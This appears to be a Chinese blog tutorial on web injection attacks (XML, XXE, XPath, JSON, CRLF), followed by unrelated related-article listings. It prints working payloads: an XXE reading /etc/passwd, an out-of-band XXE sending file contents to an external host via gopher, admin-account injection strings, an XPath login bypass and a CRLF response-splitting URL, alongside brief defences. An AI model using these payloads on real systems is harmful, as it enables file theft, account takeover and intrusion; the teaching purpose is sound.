零、前言

  最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、XML注入:

  1、本质:

  XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

  2、举例说明: 

 """
原始组织数据如下:
<USER role="guest">
<name>user1</name>
<password>uesr1</password>
<email>user1@test.com</email>
</USER>
用户本应提交的数据是user1 , user1 ,user1@test.com
如果用户提交的数据是
POST下
name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
就会导致生成一个新的管理员账户attack
"""
 /*
(1)有回显,直接读取文件
*/
<?php
$xml=$GET['XML'];
$data = simplexml_load_string($xml);
print_r($data);
>
/*
攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
*/
/*
(2)引用远程server上的XML文件 读取文件
*/
/*#1.xml:
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
#payload
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>
*/
 <!--原始XML为:-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
</adminuser>
<!--
例如攻击者可以修改password部分,则可以如下构造:
输入:
<admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
那么XML文件则会变成:
-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
<admin id="2">
<name>test</name>
<password>test</passsword>
</admin>
</adminuser>
<!--
增加了一个管理员权限账号。
-->

  3、危害:

    #常见攻击手段包括:

    #读取本地文件(可能包含敏感信息 /etc/shadow)

    #内存侵犯

    #任意代码执行

    #拒绝服务

  4、防御:   

    #对有改变XML结构的特殊输入进行过滤或者编码
    #filter list = ["&","<",">","'".'"',"/"]
    #在XML保存和展示之前都需要

二、Xpath注入:

  1、本质:

    #Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。

  2、举例:    

    一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
    例如:
      //USER [username/text()="admin" and password/text()="123456"]
    注入就是在引号内内容着手构造:
      例如password=> 111" or "2"="2

  3、防御:
    防御很简单,过滤特殊输入字符即可。

三、Json注入:

  1、本质:

  @json也是传输数据的一种格式,增加一个用户的json结构如下:

  {"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456

  2、防御:

    过滤关键字即可。

四、CRLF注入也叫HTTP响应截断:

  1、本质:

  也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。

  2、举例:假设数据部分是xss payload则会中招啊

 """
(1)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense
RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Server:******
******
(2)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent- Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
实际上就是:
Chinese
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html> RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html>
Server:******
****** 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码.
等 当然可以不加新的http响应头,直接注入\r\n(CRLF)和payload 常见的容易出问题的PHP函数
header()
setcookie()
session_id()
setrawcookie() 位置:
location -> 重定向到恶意地址
set-cookie -> 把自己数据写入cookie
"""

  3、防御:

    限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出

WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入的更多相关文章

  1. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  2. Python之路【第十五篇】:Web框架

    Python之路[第十五篇]:Web框架   Web框架本质 众所周知,对于所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个socket客户端. 1 2 3 4 5 6 ...

  3. 《手把手教你》系列技巧篇(四十五)-java+ selenium自动化测试-web页面定位toast-上篇(详解教程)

    1.简介 在使用appium写app自动化的时候介绍toast的相关元素的定位,在Web UI测试过程中,也经常遇到一些toast,那么这个toast我们这边如何进行测试呢?今天宏哥就分两篇介绍一下. ...

  4. 【Python五篇慢慢弹】快速上手学python

    快速上手学python 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多 ...

  5. 【Python五篇慢慢弹】数据结构看python

    数据结构看python 作者:白宁超 2016年10月9日14:04:47 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...

  6. 【Python五篇慢慢弹(3)】函数修行知python

    函数修行知python 作者:白宁超 2016年10月9日21:51:52 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...

  7. 【Python五篇慢慢弹(4)】模块异常谈python

    模块异常谈python 作者:白宁超 2016年10月10日12:08:31 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondo ...

  8. 【Python五篇慢慢弹(5)】类的继承案例解析,python相关知识延伸

    类的继承案例解析,python相关知识延伸 作者:白宁超 2016年10月10日22:36:57 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给 ...

  9. 第五篇 :微信公众平台开发实战Java版之如何获取公众号的access_token以及缓存access_token

    一.access_token简介 为了使第三方开发者能够为用户提供更多更有价值的个性化服务,微信公众平台 开放了许多接口,包括自定义菜单接口.客服接口.获取用户信息接口.用户分组接口.群发接口等, 开 ...

随机推荐

  1. C++实现顺序计算输入表达式的值

    #include <iostream> #include <cstring> #include <cctype>//判断字符类型需要的头文件 using names ...

  2. hadoop错误之ClassNotFoundException(下)

    hadoop开发环境:window上eclipse+虚拟机的ubuntu13.04+hadoop-1.1.2+JDK1.7 在win7下运行hadoop-1.1.2 worldcount代码的时候出现 ...

  3. 一些必看的jQuery导航插件和教程

    导航是一个网站最重要的元素之一,您必须遵循统一的风格来设计您的网站,特别是导航的风格,让用户可以轻松地找到他们想要的内容.这里最大的部分是开发一个菜单,即要直观易用,又要符合你网站的设计风格.本文列举 ...

  4. Windows消息队列一

    系统消息--ID范围 -0x03FF 由系统定义好的小哦啊拍下哦,可以在程序中直接使用. 用户自定义消息--ID范围0x0400-0x7FFF 由用户自己定义,满足用户自己的需求.由用户自己发出消息, ...

  5. Deep Reinforcement Learning from Self-Play in Imperfect-Information Games

    Heinrich, Johannes, and David Silver. "Deep reinforcement learning from self-play in imperfect- ...

  6. imx6 android5.1 编译

    imx6 android5.1 编译 记录一下编译imx6dl android的命令. Android build cd ~/myandroid source build/envsetup.sh lu ...

  7. Spring 4 官方文档学习(十)数据访问之JDBC

    说明:未修订版,阅读起来极度困难 1.Spring框架JDBC的介绍 Spring JDBC - who does what? 动作 Spring 你 定义连接参数   是 打开连接 是   指定SQ ...

  8. R 中的do.call 函数

    do.call 函数是一个高阶函数, 其第一个参数为一个函数名,或者匿名函数,第二个参数是一个list 对象, 其实是参数列表 比如读取文件test.txt, 内容为 read.table(input ...

  9. haproxy+keepalived实现web集群高可用性[转]

    负载均衡集群的概念 负载均衡是设计分布式系统架构必须要考虑的因素之一,它指的是通过调度分发的方式尽可能将“请求”.“访问”的压力负载平均分摊到集群中的各个节点,避免有些节点负载太高导致访问延迟,而有些 ...

  10. write solid code 零散(原文)

    整理下目录,看了这个文件,幸好未删除. 以下是<write solid code>中的原文摘录. 1.How could I have prevented this bug? 2.How ...